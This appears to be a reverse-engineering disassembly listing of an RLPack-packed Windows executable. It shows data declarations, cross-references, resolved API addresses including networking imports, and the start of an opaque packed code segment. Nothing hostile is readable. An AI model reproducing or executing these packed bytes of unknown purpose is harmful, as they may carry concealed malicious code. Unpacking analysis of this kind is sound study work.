dword_4F3488	dd 143ED8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .packed:off_451BE4o
dword_4F34A0	dd 0			; DATA XREF: sub_425FB0+8Br
					; sub_425FB0+93w ...
dword_4F34A4	dd 1			; DATA XREF: sub_4290B0:loc_4293C2r
					; sub_429400+3w ...
dword_4F34A8	dd 0			; DATA XREF: sub_429C90+A6r
					; sub_429C90+C9w ...
		align 10h
dword_4F34B0	dd 0			; DATA XREF: sub_420F10+Co
					; sub_42DE80+82r ...
		align 8
dword_4F34B8	dd 0			; DATA XREF: sub_421620+Dr
					; sub_421620:loc_4216B6r ...
dword_4F34BC	dd 0			; DATA XREF: sub_434620+4r
dword_4F34C0	dd 0			; DATA XREF: sub_4342F0+18r
dword_4F34C4	dd 0			; DATA XREF: sub_433970+4r
dword_4F34C8	dd 0			; DATA XREF: sub_421F10+B9r
					; sub_421F10+16Cr ...
dword_4F34CC	dd 0			; DATA XREF: sub_42DE80+11Fw
dword_4F34D0	dd 0			; DATA XREF: sub_42E120+C7o
					; sub_42E120+140o
word_4F34D4	dw 0			; DATA XREF: sub_42E120+E8r
		align 4
dword_4F34D8	dd 0			; DATA XREF: sub_42E120+EFw
					; sub_42E120+159o
dword_4F34DC	dd 1			; DATA XREF: sub_42EC50+26r
					; sub_42EC50+4Bw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42F3E0+19o
					; sub_42F3E0+26o ...
		align 4
		dd 3Ah dup(0)
dword_4F35E4	dd 1			; DATA XREF: sub_42F8F0+14r
					; sub_42F8F0+2Cw ...
dword_4F35E8	dd 0			; DATA XREF: sub_42FEE0+2Br
					; sub_42FEE0+34r
dword_4F35EC	dd 0			; DATA XREF: .packed:loc_4305C6r
					; .packed:004305D2w ...
dword_4F35F0	dd 0			; DATA XREF: .packed:loc_4305DAr
					; .packed:004305E5w ...
dword_4F35F4	dd 0			; DATA XREF: .packed:loc_4305EDr
					; .packed:004305F9w ...
dword_4F35F8	dd 0			; DATA XREF: .packed:loc_430600r
					; .packed:0043060Cw ...
dword_4F35FC	dd 0			; DATA XREF: .packed:loc_43055Ar
					; .packed:00430575w
dword_4F3600	dd 0			; DATA XREF: sub_430AA0+Dr
					; sub_430AA0+39w ...
dword_4F3604	dd 0			; DATA XREF: sub_430AA0+5Aw
					; sub_430AA0:loc_430B13r ...
dword_4F3608	dd 0			; DATA XREF: sub_430AA0+6Ew
					; sub_430AA0+8Br ...
dword_4F360C	dd 1			; DATA XREF: sub_431210+26r
					; sub_431210+46w ...
dword_4F3610	dd 0			; DATA XREF: sub_4277D0+9r
dword_4F3614	dd 77C26E79h		; DATA XREF: sub_432EE0:loc_432F0Er
					; sub_432EE0+37r ...
dword_4F3618	dd 0			; DATA XREF: sub_433090+17w
					; sub_433090+6Dw ...
		align 10h
dword_4F3620	dd 0			; DATA XREF: sub_433090+59o
					; sub_433090+77r
dword_4F3624	dd 10h dup(0)		; DATA XREF: sub_433090+103o
word_4F3664	dw 0			; DATA XREF: sub_433470+FCr
word_4F3666	dw 0			; DATA XREF: sub_433090+88r
					; sub_433470+145r ...
word_4F3668	dw 0			; DATA XREF: sub_433470+132r
word_4F366A	dw 0			; DATA XREF: sub_433470+13Br
					; sub_433470+18Br
word_4F366C	dw 0			; DATA XREF: sub_433470+126r
					; sub_433470+181r
word_4F366E	dw 0			; DATA XREF: sub_433470+11Cr
					; sub_433470+177r
word_4F3670	dw 0			; DATA XREF: sub_433470+113r
					; sub_433470+16Er
word_4F3672	dw 0			; DATA XREF: sub_433470+109r
					; sub_433470+164r
dword_4F3674	dd 0			; DATA XREF: sub_433090+93r
					; sub_433090+CEr
dword_4F3678	dd 10h dup(0)		; DATA XREF: sub_433090+149o
word_4F36B8	dw 0			; DATA XREF: sub_433470+43r
word_4F36BA	dw 0			; DATA XREF: sub_433090+ABr
					; sub_433470+8Cr ...
word_4F36BC	dw 0			; DATA XREF: sub_433470+79r
word_4F36BE	dw 0			; DATA XREF: sub_433470+82r
					; sub_433470+D2r
word_4F36C0	dw 0			; DATA XREF: sub_433470+6Dr
					; sub_433470+C8r
word_4F36C2	dw 0			; DATA XREF: sub_433470+63r
					; sub_433470+BEr
word_4F36C4	dw 0			; DATA XREF: sub_433470+5Ar
					; sub_433470+B5r
word_4F36C6	dw 0			; DATA XREF: sub_433470+50r
					; sub_433470+ABr
dword_4F36C8	dd 0			; DATA XREF: sub_433090+B6r
					; sub_433090+C9r
dword_4F36CC	dd 0			; DATA XREF: sub_433090+18Dr
					; sub_433090+196r ...
dword_4F36D0	dd 0			; DATA XREF: sub_433030+3r
					; sub_433030+16r ...
dword_4F36D4	dd 0			; DATA XREF: sub_433970+75r
					; sub_433970+86r ...
dword_4F36D8	dd 0			; DATA XREF: sub_4342F0+25o
					; sub_4342F0+93r ...
dword_4F36DC	dd 0			; DATA XREF: sub_4342F0+42o
					; sub_4342F0+A3r ...
dword_4F36E0	dd 0			; DATA XREF: sub_4342F0+5Fo
					; sub_4342F0+7Cr ...
dword_4F36E4	dd 0			; DATA XREF: sub_434620+A0r
					; sub_434620+B1r ...
dword_4F36E8	dd 0			; DATA XREF: sub_434A80+2AAr
					; sub_434A80+2B5r ...
dword_4F36EC	dd 0			; DATA XREF: sub_434A80+2CCr
					; sub_434A80+2D7r ...
dword_4F36F0	dd 3 dup(0)		; DATA XREF: sub_42DE80+94o
					; sub_42DE80+F3o
word_4F36FC	dw 0			; DATA XREF: sub_434A80+36r
		align 10h
		dd 0
word_4F3704	dw 0			; DATA XREF: sub_434750+Fr
		align 4
		db 2 dup(0)
word_4F370A	dw 0			; DATA XREF: sub_4342F0+Fr
		db 2 dup(0)
word_4F370E	dw 0			; DATA XREF: sub_433A50+Fr
word_4F3710	dw 0			; DATA XREF: sub_433A50+1Ar
		align 4
dword_4F3714	dd 0			; DATA XREF: sub_434EB0+155r
					; sub_434EB0+176r ...
dword_4F3718	dd 0			; DATA XREF: sub_435140+37w
					; sub_435200+1Br ...
dword_4F371C	dd 0			; DATA XREF: sub_435140+6Ew
					; sub_435200+101r ...
dword_4F3720	dd 0			; DATA XREF: sub_435140+1Aw
					; sub_435140+47r ...
dword_4F3724	dd 0			; DATA XREF: sub_434EB0+45w
					; sub_434EB0+4Br ...
dword_4F3728	dd 0			; DATA XREF: sub_434EB0+7Aw
					; sub_434EB0+80r ...
dword_4F372C	dd 0			; DATA XREF: sub_434EB0:loc_434F59w
					; sub_434EB0:loc_434FBEr ...
dword_4F3730	dd 0			; DATA XREF: sub_434EB0+182r
					; sub_434EB0+1CBr ...
dword_4F3734	dd 0			; DATA XREF: sub_434EB0+6r
					; sub_434EB0+2Cw ...
dword_4F3738	dd 0			; DATA XREF: sub_4314E0:loc_43153Cr
byte_4F373C	db 0			; DATA XREF: sub_438A00+18Fo
					; sub_438A00+1F2r ...
		align 10h
		dd 0
dword_4F3744	dd 0			; DATA XREF: sub_4349E0+11o
					; .packed:off_454EACo ...
dword_4F3748	dd 0			; DATA XREF: sub_438CA0+26r
					; sub_438CA0+46w ...
dword_4F374C	dd 0			; DATA XREF: sub_439780+26r
					; sub_439780+41w ...
dword_4F3750	dd 0			; DATA XREF: sub_439920+26r
					; sub_439920+41w ...
dword_4F3754	dd 0			; DATA XREF: sub_439AD0+26r
					; sub_439AD0+4Bw ...
dword_4F3758	dd 0			; DATA XREF: sub_43B420+26r
					; sub_43B420+4Bw ...
byte_4F375C	db 1			; DATA XREF: sub_40E188r sub_40E188+9w
		align 10h
dword_4F3760	dd 0			; DATA XREF: sub_437B80+90w
					; sub_437B80+A5w ...
dword_4F3764	dd 0			; DATA XREF: sub_437D10+1C4w
					; sub_437D10+1EDw ...
		dd 6 dup(0)
dword_4F3780	dd 981F58h		; DATA XREF: sub_4222D0+EDr
					; sub_4222D0+109r ...
		dd 3Fh dup(0)
dword_4F3880	dd 20h			; DATA XREF: sub_422CB0+7r
					; sub_4272F0+7r ...
dword_4F3884	dd 0			; DATA XREF: sub_420F10+5Ar
					; sub_421620+68r ...
dword_4F3888	dd 0			; DATA XREF: sub_420F10:loc_420F63w
					; sub_420F10:loc_420F77w ...
dword_4F388C	dd 4E4h			; DATA XREF: sub_4290B0+22r
					; sub_4290B0+14Aw ...
word_4F3890	dw 0			; DATA XREF: sub_4290B0+19Aw
					; sub_4290B0+2F3w ...
		align 4
		dd 2 dup(0)
dword_4F389C	dd 0			; DATA XREF: sub_4290B0+150w
					; sub_4290B0+2C2w ...
byte_4F38A0	db 0			; DATA XREF: sub_429560+1CEw
					; sub_429560+21Aw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4F39A0	db 0			; DATA XREF: sub_4290B0+ABw
					; sub_4290B0+1F4w ...
byte_4F39A1	db 0			; DATA XREF: sub_41ED30+92r
					; sub_4290B0+129r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4F3AA4	dd 0			; DATA XREF: sub_4290B0+169w
					; sub_4290B0+205w ...
dword_4F3AA8	dd 980000h		; DATA XREF: sub_41D6B0+8Dr
					; sub_41D6B0+FBr ...
dword_4F3AAC	dd 1			; DATA XREF: sub_41D6B0:loc_41D6E1r
					; sub_41D6B0:loc_41D74Er ...
dword_4F3AB0	dd 0			; DATA XREF: sub_424080+51w
					; sub_424CD0+9r ...
dword_4F3AB4	dd 0			; DATA XREF: sub_4241B0+484r
					; sub_4241B0+4B3r ...
dword_4F3AB8	dd 0			; DATA XREF: sub_424080+37w
					; sub_4241B0+5C1w ...
		align 10h
dword_4F3AC0	dd 0			; DATA XREF: sub_424080+3Dw
					; sub_4241B0+477r ...
dword_4F3AC4	dd 0			; DATA XREF: sub_424080+47w
					; sub_4240F0+6r ...
dword_4F3AC8	dd 0			; DATA XREF: sub_424080+16w
					; sub_424080+1Br ...
dword_4F3ACC	dd 0			; DATA XREF: sub_4234C0+2Fr
					; sub_423620+6Dr ...
dword_4F3AD0	dd 0			; DATA XREF: .packed:004225F4r
					; .packed:004225FFw ...
dword_4F3AD4	dd 983250h		; DATA XREF: sub_4222D0+48w
					; sub_4222D0+4Dr ...
		align 10h
dword_4F3AE0	dd 400h	dup(0)		; DATA XREF: .packed:off_451908o
					; .packed:00451910o
dword_4F4AE0	dd 200h			; DATA XREF: sub_4222D0+4r
					; sub_4222D0+Dw ...
dword_4F4AE4	dd 142340h		; DATA XREF: sub_422100+B9w
					; sub_42F1D0:loc_42F1E2r ...
dword_4F4AE8	dd 1			; DATA XREF: sub_42F290+13Bw
					; sub_4374C0+Er
dword_4F4AEC	dd 1			; DATA XREF: sub_429890+3r
					; sub_429890+16w ...
dword_4F4AF0	dd 98241Ch		; DATA XREF: sub_41E920+45r
					; sub_420C50+19r ...
dword_4F4AF4	dd 982410h		; DATA XREF: sub_41E920+3Cr
					; sub_41E920+5Ar ...
dword_4F4AF8	dd 0			; DATA XREF: .packed:0041D914r
					; .packed:0041D91Fw ...
byte_4F4AFC	db 1			; DATA XREF: sub_43A8E0+5r
					; sub_43A8E0+11r ...
		align 10h
		dd 1F5h	dup(0)
dword_4F52D4	dd 77E78147h		; DATA XREF: sub_41786C+BCr
					; .packed:0043AB0Ar
dword_4F52D8	dd 77E6BD68h		; DATA XREF: sub_439F20+2C5r
					; .packed:0043ACE4r
dword_4F52DC	dd 77E77F2Eh		; DATA XREF: sub_439AD0+41r
					; sub_439AD0+3DAr ...
dword_4F52E0	dd 77E762D0h		; DATA XREF: sub_439AD0+69r
					; sub_439AD0+D9r ...
dword_4F52E4	dd 77E78723h		; DATA XREF: sub_439780+37r
					; sub_439780+8Br ...
dword_4F52E8	dd 77E70192h		; DATA XREF: sub_435EC0+1D8r
					; .packed:0043ACCCr
dword_4F52EC	dd 77E79C94h		; DATA XREF: sub_4357D0+12r
					; .packed:0043ACC6r
dword_4F52F0	dd 77E6363Bh		; DATA XREF: sub_435140+7Ar
					; sub_435530+53r ...
dword_4F52F4	dd 77E75243h		; DATA XREF: sub_434EB0+142r
					; .packed:0043ACBAr
dword_4F52F8	dd 77E752B8h		; DATA XREF: sub_434EB0+15Cr
					; .packed:0043ACB4r
dword_4F52FC	dd 77E7176Ch		; DATA XREF: sub_432FE0+Fr
					; .packed:0043ACAEr
dword_4F5300	dd 77E7C9E7h		; DATA XREF: sub_432F40+8r
					; sub_432F60+9r ...
dword_4F5304	dd 77E7C866h		; DATA XREF: sub_431210+3Cr
					; sub_431210+19Er ...
dword_4F5308	dd 77E641EBh		; DATA XREF: sub_431210+61r
					; sub_431210+AAr ...
dword_4F530C	dd 77E73FF9h		; DATA XREF: sub_431130+7Fr
					; .packed:0043AC96r
dword_4F5310	dd 77E7FF2Eh		; DATA XREF: sub_430D50+58r
					; sub_430D50+66r ...
dword_4F5314	dd 77E78406h		; DATA XREF: sub_42FB10+1E6r
					; sub_42FB10+29Br ...
dword_4F5318	dd 77E7C931h		; DATA XREF: sub_42FB10+31Ar
					; .packed:0043AC84r
dword_4F531C	dd 77E77EE1h		; DATA XREF: sub_42F8F0+1Dr
					; sub_42F8F0+6Dr ...
dword_4F5320	dd 77E67702h		; DATA XREF: sub_42F8F0:loc_42F928r
					; sub_42F8F0+171r ...
dword_4F5324	dd 77E7C9E1h		; DATA XREF: sub_42F8F0+108r
					; sub_42F8F0+150r ...
dword_4F5328	dd 77E9C5B1h		; DATA XREF: sub_42F8F0+1E6r
					; sub_42F8F0+208r ...
dword_4F532C	dd 77EB9A84h		; DATA XREF: sub_42EFB0+37r
					; .packed:0043AC66r
dword_4F5330	dd 77E781F9h		; DATA XREF: sub_42EC50+41r
					; sub_42EC50+1A5r ...
dword_4F5334	dd 77E77405h		; DATA XREF: sub_42EC50+69r
					; sub_42EC50+C0r ...
dword_4F5338	dd 77E75CB5h		; DATA XREF: sub_401300+DFr
					; sub_401404+7Ar ...
dword_4F533C	dd 77E77963h		; DATA XREF: sub_401300+B8r
					; sub_401404+2C9r ...
dword_4F5340	dd 77E61BB8h		; DATA XREF: sub_401300+A7r
					; sub_401404+2B1r ...
dword_4F5344	dd 77E7A099h		; DATA XREF: sub_401300+83r
					; sub_401404+DAr ...
dword_4F5348	dd 77E704FCh		; DATA XREF: sub_401300+74r
					; sub_401404+C4r ...
dword_4F534C	dd 77E61BE6h		; DATA XREF: sub_401300+29r
					; sub_401404+1DEr ...
dword_4F5350	dd 77E7AC37h		; DATA XREF: sub_401404+3ACr
					; sub_401C87+785r ...
dword_4F5354	dd 77E73628h		; DATA XREF: sub_401404+329r
					; sub_401C87+7908r ...
dword_4F5358	dd 77E706B7h		; DATA XREF: sub_401404+262r
					; sub_417BC7+15r ...
dword_4F535C	dd 77E80656h		; DATA XREF: sub_401404+255r
					; .packed:0043A9F6r
dword_4F5360	dd 77F5157Dh		; DATA XREF: sub_401404:loc_4015C6r
					; sub_401404+3D1r ...
dword_4F5364	dd 77E6BD13h		; DATA XREF: sub_401404:loc_4015BCr
					; .packed:0043AA02r
dword_4F5368	dd 77E70396h		; DATA XREF: sub_401404+1B2r
					; sub_401404+20Fr ...
dword_4F536C	dd 77E74CABh		; DATA XREF: sub_401404+19Br
					; sub_40FFD8+10Fr ...
dword_4F5370	dd 77E79F93h		; DATA XREF: sub_401404+D3r
					; sub_409D10+2r ...
dword_4F5374	dd 77E79D5Bh		; DATA XREF: sub_401404+6Br
					; sub_401404+2FFr ...
dword_4F5378	dd 77E7C2C4h		; DATA XREF: sub_401404+64r
					; .packed:0043AA20r
dword_4F537C	dd 77E7751Ah		; DATA XREF: sub_401404+2Cr
					; sub_401C87+251Ar ...
dword_4F5380	dd 77E75CEBh		; DATA XREF: sub_401C87+7B85r
					; sub_40B7CC+27r ...
dword_4F5384	dd 77E6AD34h		; DATA XREF: sub_401C87+6A47r
					; sub_418EAE+35r ...
dword_4F5388	dd 77E71AFEh		; DATA XREF: sub_401C87+6834r
					; .packed:0043AA38r
dword_4F538C	dd 77E805D8h		; DATA XREF: sub_409D10+13Ar
					; sub_409D10:loc_40A21Er ...
dword_4F5390	dd 77E7A5FDh		; DATA XREF: sub_409D10+11r
					; sub_41786C+60r ...
dword_4F5394	dd 77E65F4Ch		; DATA XREF: .packed:0040B0E8r
					; sub_41A20B+34r ...
dword_4F5398	dd 77E7513Ch		; DATA XREF: .packed:0040B18Ar
					; sub_434EB0+18r ...
dword_4F539C	dd 77E7C657h		; DATA XREF: .packed:0040B1FEr
					; sub_419036+32r ...
dword_4F53A0	dd 77E73C49h		; DATA XREF: sub_40B6FC+4Ar
					; sub_40BE20+1ACr ...
dword_4F53A4	dd 77F7E300h		; DATA XREF: sub_40C87D+130r
					; sub_422490+35r ...
dword_4F53A8	dd 77F7E21Fh		; DATA XREF: sub_40C87D+C5r
					; sub_422420+35r ...
dword_4F53AC	dd 77E7C706h		; DATA XREF: sub_40CA91+77r
					; .packed:0043AA6Er
dword_4F53B0	dd 77F53275h		; DATA XREF: sub_40CA91+6Br
					; sub_40CA91+241r ...
dword_4F53B4	dd 77E79D8Ch		; DATA XREF: sub_40E1AD+94r
					; sub_40E29B+17Dr ...
dword_4F53B8	dd 77E737DEh		; DATA XREF: sub_40E29B+42Er
					; .packed:0043AA80r
dword_4F53BC	dd 77E78B82h		; DATA XREF: sub_40E29B+19Br
					; sub_40E29B+48Dr ...
dword_4F53C0	dd 77E7A837h		; DATA XREF: sub_40E29B+A3r
					; sub_40FFD8+1C3r ...
dword_4F53C4	dd 77E616B4h		; DATA XREF: sub_40EE63+19Br
					; sub_4115D0+119r ...
dword_4F53C8	dd 77E79CE3h		; DATA XREF: sub_40EE63+111r
					; sub_41181E+77r ...
dword_4F53CC	dd 77E79C90h		; DATA XREF: sub_40EE63+FDr
					; sub_40EE63+10Ar ...
dword_4F53D0	dd 77E7727Ah		; DATA XREF: sub_40EE63+74r
					; sub_411725+23r ...
dword_4F53D4	dd 77E64106h		; DATA XREF: sub_40FE5C+9Fr
					; sub_41B6C1+1B6r ...
dword_4F53D8	dd 77E64006h		; DATA XREF: sub_40FE5C+8Br
					; sub_41B6C1+19Fr ...
dword_4F53DC	dd 77E793EFh		; DATA XREF: sub_40FFD8+1EDr
					; sub_410908+38r ...
dword_4F53E0	dd 77E78EAAh		; DATA XREF: sub_410287+5EDr
					; sub_41771E+BAr ...
dword_4F53E4	dd 77E79424h		; DATA XREF: sub_410287+27Ar
					; sub_417BC7+135r ...
dword_4F53E8	dd 77E794BFh		; DATA XREF: sub_410287+26Cr
					; sub_417BC7+123r ...
dword_4F53EC	dd 77E75E67h		; DATA XREF: sub_410287+20Cr
					; sub_410287+5DCr ...
dword_4F53F0	dd 77E75D9Eh		; DATA XREF: sub_410287+1FBr
					; sub_41771E+26r ...
dword_4F53F4	dd 77E78C81h		; DATA XREF: sub_410908+6Cr
					; sub_416788+259r ...
dword_4F53F8	dd 77E76968h		; DATA XREF: sub_411349+5Fr
					; .packed:0043056Ar ...
dword_4F53FC	dd 77E74C59h		; DATA XREF: sub_4115D0+CBr
					; .packed:0043AAE6r
dword_4F5400	dd 77EC7C51h		; DATA XREF: sub_411995+4Br
					; .packed:0043AAECr
dword_4F5404	dd 77E70F89h		; DATA XREF: sub_4124E6+Er
					; sub_415A3C+Dr ...
dword_4F5408	dd 77E802FCh		; DATA XREF: sub_4133AE+18Cr
					; sub_4133AE+2D4r ...
dword_4F540C	dd 77E6D75Bh		; DATA XREF: sub_4133AE+182r
					; sub_414103+FFr ...
dword_4F5410	dd 77E80618h		; DATA XREF: sub_41786C+170r
					; sub_419229+C3r ...
dword_4F5414	dd 77F51597h		; DATA XREF: sub_417A3E+41r
					; sub_417A3E+F5r ...
dword_4F5418	dd 77F516F8h		; DATA XREF: sub_417A3E+21r
					; sub_417BC7+4Ar ...
dword_4F541C	dd 77E77CB7h		; DATA XREF: sub_417A3E+10r
					; sub_417BC7+40r ...
dword_4F5420	dd 77E7F01Ah		; DATA XREF: sub_417BC7+88r
					; sub_417D6B+53r ...
dword_4F5424	dd 77E61A54h		; DATA XREF: sub_417BC7+56r
					; sub_417D6B+95r ...
dword_4F5428	dd 77E7C3A5h		; DATA XREF: sub_417BC7+34r
					; sub_417D6B+2Cr ...
dword_4F542C	dd 77E76A60h		; DATA XREF: sub_418C20+2Dr
					; .packed:0043AB34r
dword_4F5430	dd 77E71B14h		; DATA XREF: sub_418CAA+26r
					; .packed:0043AB3Ar
dword_4F5434	dd 77E7166Fh		; DATA XREF: sub_418CAA+1Dr
					; .packed:0043AB40r
dword_4F5438	dd 77E75090h		; DATA XREF: sub_418CE5+6Cr
					; .packed:0043AB46r
dword_4F543C	dd 77E74D76h		; DATA XREF: sub_418CE5+39r
					; .packed:0043AB4Cr
dword_4F5440	dd 77E77797h		; DATA XREF: sub_418CE5+28r
					; .packed:0043AB52r
dword_4F5444	dd 77E7011Ah		; DATA XREF: sub_418D6A+96r
					; .packed:0043AB58r
dword_4F5448	dd 77E73CE2h		; DATA XREF: sub_418D6A+60r
					; .packed:0043AB5Er
dword_4F544C	dd 77E668D9h		; DATA XREF: sub_418EAE+15Dr
					; .packed:0043AB64r
dword_4F5450	dd 77E79924h		; DATA XREF: sub_4197F6+13r
					; sub_42EC50+2A5r ...
dword_4F5454	dd 77E77CCEh		; DATA XREF: sub_4198C8+Fr
					; sub_421F10+BFr ...
dword_4F5458	dd 77E76A2Eh		; DATA XREF: sub_41A334+DEr
					; .packed:0043AB76r
dword_4F545C	dd 77E7FF65h		; DATA XREF: sub_41A798+5Ar
					; .packed:0043AB7Cr
dword_4F5460	dd 77EB7624h		; DATA XREF: sub_41A798+3Dr
					; .packed:0043AB82r
dword_4F5464	dd 77E6C29Dh		; DATA XREF: sub_41AE2B+1EFr
					; .packed:0043AB88r
dword_4F5468	dd 77E76C1Ah		; DATA XREF: sub_41B6C1+1CFr
					; .packed:0043AB8Er
dword_4F546C	dd 77E73196h		; DATA XREF: sub_41D660+2Ar
					; sub_4256F0+19r ...
dword_4F5470	dd 77E7339Ch		; DATA XREF: sub_41D660+12r
					; sub_432F80+13r ...
dword_4F5474	dd 77E6C924h		; DATA XREF: sub_41D6B0+93r
					; sub_41D6B0+102r ...
dword_4F5478	dd 77F6183Eh		; DATA XREF: sub_43ABA6r
dword_4F547C	dd 77E76E3Dh		; DATA XREF: sub_420D80+9Fr
					; sub_433090+5Er ...
dword_4F5480	dd 77E61608h		; DATA XREF: sub_420D80+17r
					; .packed:0043ABB2r
dword_4F5484	dd 77E778C5h		; DATA XREF: sub_421620+76r
					; sub_421620+B6r ...
dword_4F5488	dd 77E777EFh		; DATA XREF: sub_421620+62r
					; sub_421C90+2Cr ...
dword_4F548C	dd 77E6177Ah		; DATA XREF: sub_422100+E2r
					; sub_42FB10+87r ...
dword_4F5490	dd 77E7C938h		; DATA XREF: sub_422100+B3r
					; .packed:0043ABCAr
dword_4F5494	dd 77E7C486h		; DATA XREF: sub_422100+26r
					; .packed:0043ABD0r
dword_4F5498	dd 77EB36A5h		; DATA XREF: sub_422500+3r
					; .packed:0043ABD6r
dword_4F549C	dd 77E79C3Dh		; DATA XREF: .packed:004225AEr
					; .packed:004225C8r ...
dword_4F54A0	dd 77E9BD34h		; DATA XREF: sub_422610+102r
					; sub_422610+2F3r ...
dword_4F54A4	dd 77E79908h		; DATA XREF: sub_4231A0+9r
					; sub_4231A0+16r ...
dword_4F54A8	dd 77EB8503h		; DATA XREF: .packed:00423349r
					; .packed:0043ABEEr
dword_4F54AC	dd 77F5722Fh		; DATA XREF: sub_423620+DAr
					; sub_423620+1BBr ...
dword_4F54B0	dd 77E79E34h		; DATA XREF: sub_4241B0+4A8r
					; sub_4241B0+545r ...
dword_4F54B4	dd 77E7980Ah		; DATA XREF: sub_424CD0+A3r
					; sub_424DE0+A7r ...
dword_4F54B8	dd 77E7AC5Eh		; DATA XREF: sub_426C90+5Fr
					; .packed:0043AC06r
dword_4F54BC	dd 77E76E0Bh		; DATA XREF: sub_426EC0+57r
					; sub_426EC0+7Cr ...
dword_4F54C0	dd 77E7C726h		; DATA XREF: sub_426EC0+14r
					; .packed:0043AC12r
dword_4F54C4	dd 77E77CC4h		; DATA XREF: sub_428E00+64r
					; sub_428EE0+66r ...
dword_4F54C8	dd 77E79B39h		; DATA XREF: sub_428E00+4Ar
					; sub_428EE0+50r ...
dword_4F54CC	dd 77E7C5B4h		; DATA XREF: sub_428E00+9r
					; .packed:0043AC24r
dword_4F54D0	dd 77E72B29h		; DATA XREF: .packed:00428EA7r
					; .packed:0043AC2Ar
dword_4F54D4	dd 77F51587h		; DATA XREF: sub_428EE0+8Br
					; .packed:0043AC30r
dword_4F54D8	dd 77E78B61h		; DATA XREF: sub_428EE0+15r
					; .packed:00428F9Cr ...
dword_4F54DC	dd 77E73163h		; DATA XREF: .packed:004290A3r
					; .packed:0043AC3Cr
dword_4F54E0	dd 77E7849Fh		; DATA XREF: sub_4290B0+1C7r
					; sub_429560+17r ...
dword_4F54E4	dd 77E7A13Fh		; DATA XREF: sub_429400+35r
					; .packed:0043AC48r
dword_4F54E8	dd 77E6C703h		; DATA XREF: sub_429400+1Dr
					; .packed:0043AC4Er
dword_4F54EC	dd 77E6D706h		; DATA XREF: sub_42B610+35Ar
					; .packed:0043AC54r ...
		dd 0
dword_4F54F4	dd 71B2ACCBh		; DATA XREF: sub_43A936r
		dd 0
dword_4F54FC	dd 71AB4122h		; DATA XREF: sub_4153D2+D4r
					; .packed:0043A9B4r
dword_4F5500	dd 71AB1746h		; DATA XREF: sub_412F1F+1DEr
					; sub_412F1F+1F0r ...
dword_4F5504	dd 71AB401Ch		; DATA XREF: sub_412F1F+21Br
					; .packed:0043A9A8r
dword_4F5508	dd 71AB1836h		; DATA XREF: sub_40F909+6Er
					; sub_40F986+8Er ...
dword_4F550C	dd 71AB41DAh		; DATA XREF: sub_40F2F1+4Ar
					; sub_40F909+15r ...
dword_4F5510	dd 71AB3F8Dh		; DATA XREF: sub_40F2F1+5Ar
					; .packed:0043A996r
dword_4F5514	dd 71AB155Ah		; DATA XREF: sub_40F2F1+8Dr
					; sub_413F6A+6Er ...
dword_4F5518	dd 71AB3ECEh		; DATA XREF: sub_40F2F1+B5r
					; .packed:0043A98Ar
dword_4F551C	dd 71AB5DE2h		; DATA XREF: sub_40F2F1+C9r
					; .packed:0043A984r
dword_4F5520	dd 71AB868Dh		; DATA XREF: sub_40F2F1+16Fr
					; .packed:0043A97Er
dword_4F5524	dd 71AB5A01h		; DATA XREF: sub_4154BB+20r
					; .packed:0043A9BAr
dword_4F5528	dd 71AB12F8h		; DATA XREF: sub_40E794+27r
					; sub_40E8D6+27r ...
dword_4F552C	dd 71AB1746h		; DATA XREF: sub_40E794+36r
					; sub_40E8D6+36r ...
dword_4F5530	dd 71AB3E5Dh		; DATA XREF: sub_40E794+59r
					; sub_40E8D6+59r ...
dword_4F5534	dd 71AB5690h		; DATA XREF: sub_40E794+6Ar
					; sub_40E8D6+6Ar ...
dword_4F5538	dd 71AB1A6Dh		; DATA XREF: sub_40E794+E0r
					; sub_40E8D6+E0r ...
dword_4F553C	dd 71AB3C22h		; DATA XREF: .packed:0040DAC8r
					; sub_40E794+45r ...
dword_4F5540	dd 71AB1AF4h		; DATA XREF: sub_40D746+12r
					; sub_40E794+C3r ...
dword_4F5544	dd 71AB1890h		; DATA XREF: sub_40D5A3+4Cr
					; sub_40F2F1+106r ...
dword_4F5548	dd 71AB1B7Bh		; DATA XREF: sub_43A942r
dword_4F554C	dd 71AB157Eh		; DATA XREF: sub_401C87+2F98r
					; .packed:0043A93Cr
dword_4F5550	dd 71AB2BBFh		; DATA XREF: .packed:0040E9D7r
					; .packed:0043A978r
		dd 1EABh dup(0)
_packed		ends

; Section 2. (virtual address 000FD000)
; Virtual size			: 00026B45 ( 158533.)
; Section size in file		: 00026B45 ( 158533.)
; Offset to raw	data for section: 000FD000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 4FD000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0EC8B0055h, 57565351h, 0F6E4FF33h, 0F120BB0Eh, 458D0343h
		dd 0F950EBFCh, 0FC13F68h, 0D02C6C3h, 0F054B6FFh, 500C9028h
		dd 303C1581h, 7D39C04Eh, 1C74081Eh, 0E84375DDh,	8101AC33h
		dd 159E5059h, 53570C6Ah, 3EC8FC0Eh, 0AEB8AACh, 2FEC420Ch
